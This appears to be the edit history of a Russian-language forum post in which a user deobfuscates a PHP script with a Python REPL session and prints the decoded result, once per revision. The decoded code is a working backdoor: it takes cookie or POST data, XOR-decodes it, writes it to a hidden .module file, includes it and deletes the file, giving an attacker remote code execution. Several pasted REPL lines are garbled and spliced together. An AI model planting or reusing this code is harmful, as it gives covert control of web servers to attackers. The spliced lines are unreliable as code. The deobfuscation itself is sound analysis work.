История изменений
Исправление rtxtxtrx, (текущая версия) :
>>> def decode(a):
... lgbt = "xFu;hiI5o?6r" + "4ec-7lad3nt<s" + "my@kp1/" + "0*vE)9.# 28b_Hf(L" + "'" + "g"
... return ''.join(lgbt[i] for i in a)
...
>>> import re
>>> re.sub(r'hf1\(Array\(([^()]+)\)\)', lambda m: '"' + >>> print(re.sub(r'hf1\(Array\(([^()]+)\)\)', lambda m: '"' + decode(map(int, m.group(1).split(','))) + '"', s))
<?php
function hf1($es2){$sv3 = "xFu;hiI5o?6r" ."4ec-7lad3nt<s" ."my@kp1/" ."0*vE)9.# 28b_Hf(L" ."'" ."g" ;$qj5='';foreach($es2 as $gi4){$qj5.=$sv3[$gi4];}return $qj5;}$bi6 = Array();$bi6[] = "66d7e659-d870-4645-8e6e-2ac4419c2a30";$bi6[] = "?php @unlink(__FILE__); ";$bi6[] = ".module";$bi6[] = "H*";$bi6[] = "./";$bi6[] = "#";$bi6[] = "<";$bi6[] = "file_put_contents";$bi6[] = "array_merge";$bi6[] = "str_repeat";$bi6[] = "explode";$bi6[] = "substr";$bi6[] = "unlink";$bi6[] = "strlen";$bi6[] = "pack";$bi6[] = "md5";foreach ($bi6[8]($_COOKIE, $_POST) as $zl14 => $pt11){function qd8($bi6, $zl14, $cy10){return $bi6[11]($bi6[9]($zl14 . $bi6[0], ($cy10 / $bi6[13]($zl14)) + 1), 0, $cy10);}function mb7($bi6, $ks12){return @$bi6[14]($bi6[3], $ks12);}function ey9($bi6, $ks12){if (isset($ks12[2])) {$mh13 = $bi6[4] . $bi6[15]($bi6[0]) . $bi6[2];@$bi6[7]($mh13, $bi6[6] . $bi6[1] . $ks12[1]($ks12[2]));@include($mh13);@$bi6[12]($mh13);exit();}}$pt11 = mb7($bi6, $pt11);ey9($bi6, $bi6[10]($bi6[5], $pt11 ^ qd8($bi6, $zl14, $bi6[13]($pt11))));}
>>>
<?php
function hf1($es2)
{
$sv3 = "xFu;hiI5o?6r" . "4ec-7lad3nt<s" . "my@kp1/" . "0*vE)9.# 28b_Hf(L" . "'" . "g";
$qj5 = '';
foreach ($es2 as $gi4) {
$qj5 .= $sv3[$gi4];
}
return $qj5;
}
$bi6 = Array();
$bi6[] = "66d7e659-d870-4645-8e6e-2ac4419c2a30";
$bi6[] = "?php @unlink(__FILE__); ";
$bi6[] = ".module";
$bi6[] = "H*";
$bi6[] = "./";
$bi6[] = "#";
$bi6[] = "<";
$bi6[] = "file_put_contents";
$bi6[] = "array_merge";
$bi6[] = "str_repeat";
$bi6[] = "explode";
$bi6[] = "substr";
$bi6[] = "unlink";
$bi6[] = "strlen";
$bi6[] = "pack";
$bi6[] = "md5";
foreach ($bi6[8]($_COOKIE, $_POST) as $zl14 => $pt11) {
function qd8($bi6, $zl14, $cy10)
{
return $bi6[11]($bi6[9]($zl14 . $bi6[0], ($cy10 / $bi6[13]($zl14)) + 1), 0, $cy10);
}
function mb7($bi6, $ks12)
{
return @$bi6[14]($bi6[3], $ks12);
}
function ey9($bi6, $ks12)
{
if (isset($ks12[2])) {
$mh13 = $bi6[4] . $bi6[15]($bi6[0]) . $bi6[2];
@$bi6[7]($mh13, $bi6[6] . $bi6[1] . $ks12[1]($ks12[2]));
@include($mh13);
@$bi6[12]($mh13);
exit();
}
}
$pt11 = mb7($bi6, $pt11);
ey9($bi6, $bi6[10]($bi6[5], $pt11 ^ qd8($bi6, $zl14, $bi6[13]($pt11))));
}
Исправление rtxtxtrx, :
>>> def decode(a):
... lgbt = "xFu;hiI5o?6r" + "4ec-7lad3nt<s" + "my@kp1/" + "0*vE)9.# 28b_Hf(L" + "'" + "g"
... return ''.join(lgbt[i] for i in a)
...
>>> import re
>>> re.sub(r'hf1\(Array\(([^()]+)\)\)', lambda m: '"' + >>> print(re.sub(r'hf1\(Array\(([^()]+)\)\)', lambda m: '"' + decode(map(int, m.group(1).split(','))) + '"', s))
<?php
function hf1($es2){$sv3 = "xFu;hiI5o?6r" ."4ec-7lad3nt<s" ."my@kp1/" ."0*vE)9.# 28b_Hf(L" ."'" ."g" ;$qj5='';foreach($es2 as $gi4){$qj5.=$sv3[$gi4];}return $qj5;}$bi6 = Array();$bi6[] = "66d7e659-d870-4645-8e6e-2ac4419c2a30";$bi6[] = "?php @unlink(__FILE__); ";$bi6[] = ".module";$bi6[] = "H*";$bi6[] = "./";$bi6[] = "#";$bi6[] = "<";$bi6[] = "file_put_contents";$bi6[] = "array_merge";$bi6[] = "str_repeat";$bi6[] = "explode";$bi6[] = "substr";$bi6[] = "unlink";$bi6[] = "strlen";$bi6[] = "pack";$bi6[] = "md5";foreach ($bi6[8]($_COOKIE, $_POST) as $zl14 => $pt11){function qd8($bi6, $zl14, $cy10){return $bi6[11]($bi6[9]($zl14 . $bi6[0], ($cy10 / $bi6[13]($zl14)) + 1), 0, $cy10);}function mb7($bi6, $ks12){return @$bi6[14]($bi6[3], $ks12);}function ey9($bi6, $ks12){if (isset($ks12[2])) {$mh13 = $bi6[4] . $bi6[15]($bi6[0]) . $bi6[2];@$bi6[7]($mh13, $bi6[6] . $bi6[1] . $ks12[1]($ks12[2]));@include($mh13);@$bi6[12]($mh13);exit();}}$pt11 = mb7($bi6, $pt11);ey9($bi6, $bi6[10]($bi6[5], $pt11 ^ qd8($bi6, $zl14, $bi6[13]($pt11))));}
>>>
?php
function hf1($es2)
{
$sv3 = "xFu;hiI5o?6r" . "4ec-7lad3nt<s" . "my@kp1/" . "0*vE)9.# 28b_Hf(L" . "'" . "g";
$qj5 = '';
foreach ($es2 as $gi4) {
$qj5 .= $sv3[$gi4];
}
return $qj5;
}
$bi6 = Array();
$bi6[] = "66d7e659-d870-4645-8e6e-2ac4419c2a30";
$bi6[] = "?php @unlink(__FILE__); ";
$bi6[] = ".module";
$bi6[] = "H*";
$bi6[] = "./";
$bi6[] = "#";
$bi6[] = "<";
$bi6[] = "file_put_contents";
$bi6[] = "array_merge";
$bi6[] = "str_repeat";
$bi6[] = "explode";
$bi6[] = "substr";
$bi6[] = "unlink";
$bi6[] = "strlen";
$bi6[] = "pack";
$bi6[] = "md5";
foreach ($bi6[8]($_COOKIE, $_POST) as $zl14 => $pt11) {
function qd8($bi6, $zl14, $cy10)
{
return $bi6[11]($bi6[9]($zl14 . $bi6[0], ($cy10 / $bi6[13]($zl14)) + 1), 0, $cy10);
}
function mb7($bi6, $ks12)
{
return @$bi6[14]($bi6[3], $ks12);
}
function ey9($bi6, $ks12)
{
if (isset($ks12[2])) {
$mh13 = $bi6[4] . $bi6[15]($bi6[0]) . $bi6[2];
@$bi6[7]($mh13, $bi6[6] . $bi6[1] . $ks12[1]($ks12[2]));
@include($mh13);
@$bi6[12]($mh13);
exit();
}
}
$pt11 = mb7($bi6, $pt11);
ey9($bi6, $bi6[10]($bi6[5], $pt11 ^ qd8($bi6, $zl14, $bi6[13]($pt11))));
}
Исправление rtxtxtrx, :
>>> def decode(a):
... lgbt = "xFu;hiI5o?6r" + "4ec-7lad3nt<s" + "my@kp1/" + "0*vE)9.# 28b_Hf(L" + "'" + "g"
... return ''.join(lgbt[i] for i in a)
...
>>> re.sub(r'hf1\(Array\(([^()]+)\)\)', lambda m: decode(map(int, m.group(1).split(','))), s)
'<?php\nfunction hf1($es2){$sv3 = "xFu;hiI5o?6r" ."4ec-7lad3nt<s" ."my@kp1/" ."0*vE)9.# 28b_Hf(L" ."\'" ."g" ;$qj5=\'\';foreach($es2 as $gi4){$qj5.=$sv3[$gi4];}return $qj5;}$bi6 = Array();$bi6[] = 66d7e659-d870-4645-8e6e-2ac4419c2a30;$bi6[] = ?php @unlink(__FILE__); ;$bi6[] = .module;$bi6[] = H*;$bi6[] = ./;$bi6[] = #;$bi6[] = <;$bi6[] = file_put_contents;$bi6[] = array_merge;$bi6[] = str_repeat;$bi6[] = explode;$bi6[] = substr;$bi6[] = unlink;$bi6[] = strlen;$bi6[] = pack;$bi6[] = md5;foreach ($bi6[8]($_COOKIE, $_POST) as $zl14 => $pt11){function qd8($bi6, $zl14, $cy10){return $bi6[11]($bi6[9]($zl14 . $bi6[0], ($cy10 / $bi6[13]($zl14)) + 1), 0, $cy10);}function mb7($bi6, $ks12){return @$bi6[14]($bi6[3], $ks12);}function ey9($bi6, $ks12){if (isset($ks12[2])) {$mh13 = $bi6[4] . $bi6[15]($bi6[0]) . $bi6[2];@$bi6[7]($mh13, $bi6[6] . $bi6[1] . $ks12[1]($ks12[2]));@include($mh13);@$bi6[12]($mh13);exit();}}$pt11 = mb7($bi6, $pt11);ey9($bi6, $bi6[10]($bi6[5], $pt11 ^ qd8($bi6, $zl14, $bi6[13]($pt11))));}'
>>> import re
>>> re.sub(r'hf1\(Array\(([^()]+)\)\)', lambda m: '"' + >>> print(re.sub(r'hf1\(Array\(([^()]+)\)\)', lambda m: '"' + decode(map(int, m.group(1).split(','))) + '"', s))
<?php
function hf1($es2){$sv3 = "xFu;hiI5o?6r" ."4ec-7lad3nt<s" ."my@kp1/" ."0*vE)9.# 28b_Hf(L" ."'" ."g" ;$qj5='';foreach($es2 as $gi4){$qj5.=$sv3[$gi4];}return $qj5;}$bi6 = Array();$bi6[] = "66d7e659-d870-4645-8e6e-2ac4419c2a30";$bi6[] = "?php @unlink(__FILE__); ";$bi6[] = ".module";$bi6[] = "H*";$bi6[] = "./";$bi6[] = "#";$bi6[] = "<";$bi6[] = "file_put_contents";$bi6[] = "array_merge";$bi6[] = "str_repeat";$bi6[] = "explode";$bi6[] = "substr";$bi6[] = "unlink";$bi6[] = "strlen";$bi6[] = "pack";$bi6[] = "md5";foreach ($bi6[8]($_COOKIE, $_POST) as $zl14 => $pt11){function qd8($bi6, $zl14, $cy10){return $bi6[11]($bi6[9]($zl14 . $bi6[0], ($cy10 / $bi6[13]($zl14)) + 1), 0, $cy10);}function mb7($bi6, $ks12){return @$bi6[14]($bi6[3], $ks12);}function ey9($bi6, $ks12){if (isset($ks12[2])) {$mh13 = $bi6[4] . $bi6[15]($bi6[0]) . $bi6[2];@$bi6[7]($mh13, $bi6[6] . $bi6[1] . $ks12[1]($ks12[2]));@include($mh13);@$bi6[12]($mh13);exit();}}$pt11 = mb7($bi6, $pt11);ey9($bi6, $bi6[10]($bi6[5], $pt11 ^ qd8($bi6, $zl14, $bi6[13]($pt11))));}
>>>
?php
function hf1($es2)
{
$sv3 = "xFu;hiI5o?6r" . "4ec-7lad3nt<s" . "my@kp1/" . "0*vE)9.# 28b_Hf(L" . "'" . "g";
$qj5 = '';
foreach ($es2 as $gi4) {
$qj5 .= $sv3[$gi4];
}
return $qj5;
}
$bi6 = Array();
$bi6[] = "66d7e659-d870-4645-8e6e-2ac4419c2a30";
$bi6[] = "?php @unlink(__FILE__); ";
$bi6[] = ".module";
$bi6[] = "H*";
$bi6[] = "./";
$bi6[] = "#";
$bi6[] = "<";
$bi6[] = "file_put_contents";
$bi6[] = "array_merge";
$bi6[] = "str_repeat";
$bi6[] = "explode";
$bi6[] = "substr";
$bi6[] = "unlink";
$bi6[] = "strlen";
$bi6[] = "pack";
$bi6[] = "md5";
foreach ($bi6[8]($_COOKIE, $_POST) as $zl14 => $pt11) {
function qd8($bi6, $zl14, $cy10)
{
return $bi6[11]($bi6[9]($zl14 . $bi6[0], ($cy10 / $bi6[13]($zl14)) + 1), 0, $cy10);
}
function mb7($bi6, $ks12)
{
return @$bi6[14]($bi6[3], $ks12);
}
function ey9($bi6, $ks12)
{
if (isset($ks12[2])) {
$mh13 = $bi6[4] . $bi6[15]($bi6[0]) . $bi6[2];
@$bi6[7]($mh13, $bi6[6] . $bi6[1] . $ks12[1]($ks12[2]));
@include($mh13);
@$bi6[12]($mh13);
exit();
}
}
$pt11 = mb7($bi6, $pt11);
ey9($bi6, $bi6[10]($bi6[5], $pt11 ^ qd8($bi6, $zl14, $bi6[13]($pt11))));
}
Исходная версия rtxtxtrx, :
>>> def decode(a):
... lgbt = "xFu;hiI5o?6r" + "4ec-7lad3nt<s" + "my@kp1/" + "0*vE)9.# 28b_Hf(L" + "'" + "g"
... return ''.join(lgbt[i] for i in a)
...
>>> re.sub(r'hf1\(Array\(([^()]+)\)\)', lambda m: decode(map(int, m.group(1).split(','))), s)
'<?php\nfunction hf1($es2){$sv3 = "xFu;hiI5o?6r" ."4ec-7lad3nt<s" ."my@kp1/" ."0*vE)9.# 28b_Hf(L" ."\'" ."g" ;$qj5=\'\';foreach($es2 as $gi4){$qj5.=$sv3[$gi4];}return $qj5;}$bi6 = Array();$bi6[] = 66d7e659-d870-4645-8e6e-2ac4419c2a30;$bi6[] = ?php @unlink(__FILE__); ;$bi6[] = .module;$bi6[] = H*;$bi6[] = ./;$bi6[] = #;$bi6[] = <;$bi6[] = file_put_contents;$bi6[] = array_merge;$bi6[] = str_repeat;$bi6[] = explode;$bi6[] = substr;$bi6[] = unlink;$bi6[] = strlen;$bi6[] = pack;$bi6[] = md5;foreach ($bi6[8]($_COOKIE, $_POST) as $zl14 => $pt11){function qd8($bi6, $zl14, $cy10){return $bi6[11]($bi6[9]($zl14 . $bi6[0], ($cy10 / $bi6[13]($zl14)) + 1), 0, $cy10);}function mb7($bi6, $ks12){return @$bi6[14]($bi6[3], $ks12);}function ey9($bi6, $ks12){if (isset($ks12[2])) {$mh13 = $bi6[4] . $bi6[15]($bi6[0]) . $bi6[2];@$bi6[7]($mh13, $bi6[6] . $bi6[1] . $ks12[1]($ks12[2]));@include($mh13);@$bi6[12]($mh13);exit();}}$pt11 = mb7($bi6, $pt11);ey9($bi6, $bi6[10]($bi6[5], $pt11 ^ qd8($bi6, $zl14, $bi6[13]($pt11))));}'
>>> import re
>>> re.sub(r'hf1\(Array\(([^()]+)\)\)', lambda m: '"' + >>> print(re.sub(r'hf1\(Array\(([^()]+)\)\)', lambda m: '"' + decode(map(int, m.group(1).split(','))) + '"', s))
<?php
function hf1($es2){$sv3 = "xFu;hiI5o?6r" ."4ec-7lad3nt<s" ."my@kp1/" ."0*vE)9.# 28b_Hf(L" ."'" ."g" ;$qj5='';foreach($es2 as $gi4){$qj5.=$sv3[$gi4];}return $qj5;}$bi6 = Array();$bi6[] = "66d7e659-d870-4645-8e6e-2ac4419c2a30";$bi6[] = "?php @unlink(__FILE__); ";$bi6[] = ".module";$bi6[] = "H*";$bi6[] = "./";$bi6[] = "#";$bi6[] = "<";$bi6[] = "file_put_contents";$bi6[] = "array_merge";$bi6[] = "str_repeat";$bi6[] = "explode";$bi6[] = "substr";$bi6[] = "unlink";$bi6[] = "strlen";$bi6[] = "pack";$bi6[] = "md5";foreach ($bi6[8]($_COOKIE, $_POST) as $zl14 => $pt11){function qd8($bi6, $zl14, $cy10){return $bi6[11]($bi6[9]($zl14 . $bi6[0], ($cy10 / $bi6[13]($zl14)) + 1), 0, $cy10);}function mb7($bi6, $ks12){return @$bi6[14]($bi6[3], $ks12);}function ey9($bi6, $ks12){if (isset($ks12[2])) {$mh13 = $bi6[4] . $bi6[15]($bi6[0]) . $bi6[2];@$bi6[7]($mh13, $bi6[6] . $bi6[1] . $ks12[1]($ks12[2]));@include($mh13);@$bi6[12]($mh13);exit();}}$pt11 = mb7($bi6, $pt11);ey9($bi6, $bi6[10]($bi6[5], $pt11 ^ qd8($bi6, $zl14, $bi6[13]($pt11))));}
>>>
?php
function hf1($es2)
{
$sv3 = "xFu;hiI5o?6r" . "4ec-7lad3nt<s" . "my@kp1/" . "0*vE)9.# 28b_Hf(L" . "'" . "g";
$qj5 = '';
foreach ($es2 as $gi4) {
$qj5 .= $sv3[$gi4];
}
return $qj5;
}
$bi6 = Array();
$bi6[] = "66d7e659-d870-4645-8e6e-2ac4419c2a30";
$bi6[] = "?php @unlink(__FILE__); ";
$bi6[] = ".module";
$bi6[] = "H*";
$bi6[] = "./";
$bi6[] = "#";
$bi6[] = "<";
$bi6[] = "file_put_contents";
$bi6[] = "array_merge";
$bi6[] = "str_repeat";
$bi6[] = "explode";
$bi6[] = "substr";
$bi6[] = "unlink";
$bi6[] = "strlen";
$bi6[] = "pack";
$bi6[] = "md5";
foreach ($bi6[8]($_COOKIE, $_POST) as $zl14 => $pt11) {
function qd8($bi6, $zl14, $cy10)
{
return $bi6[11]($bi6[9]($zl14 . $bi6[0], ($cy10 / $bi6[13]($zl14)) + 1), 0, $cy10);
}
function mb7($bi6, $ks12)
{
return @$bi6[14]($bi6[3], $ks12);
}
function ey9($bi6, $ks12)
{
if (isset($ks12[2])) {
$mh13 = $bi6[4] . $bi6[15]($bi6[0]) . $bi6[2];
@$bi6[7]($mh13, $bi6[6] . $bi6[1] . $ks12[1]($ks12[2]));
@include($mh13);
@$bi6[12]($mh13);
exit();
}
}
$pt11 = mb7($bi6, $pt11);
ey9($bi6, $bi6[10]($bi6[5], $pt11 ^ qd8($bi6, $zl14, $bi6[13]($pt11))));
}
Download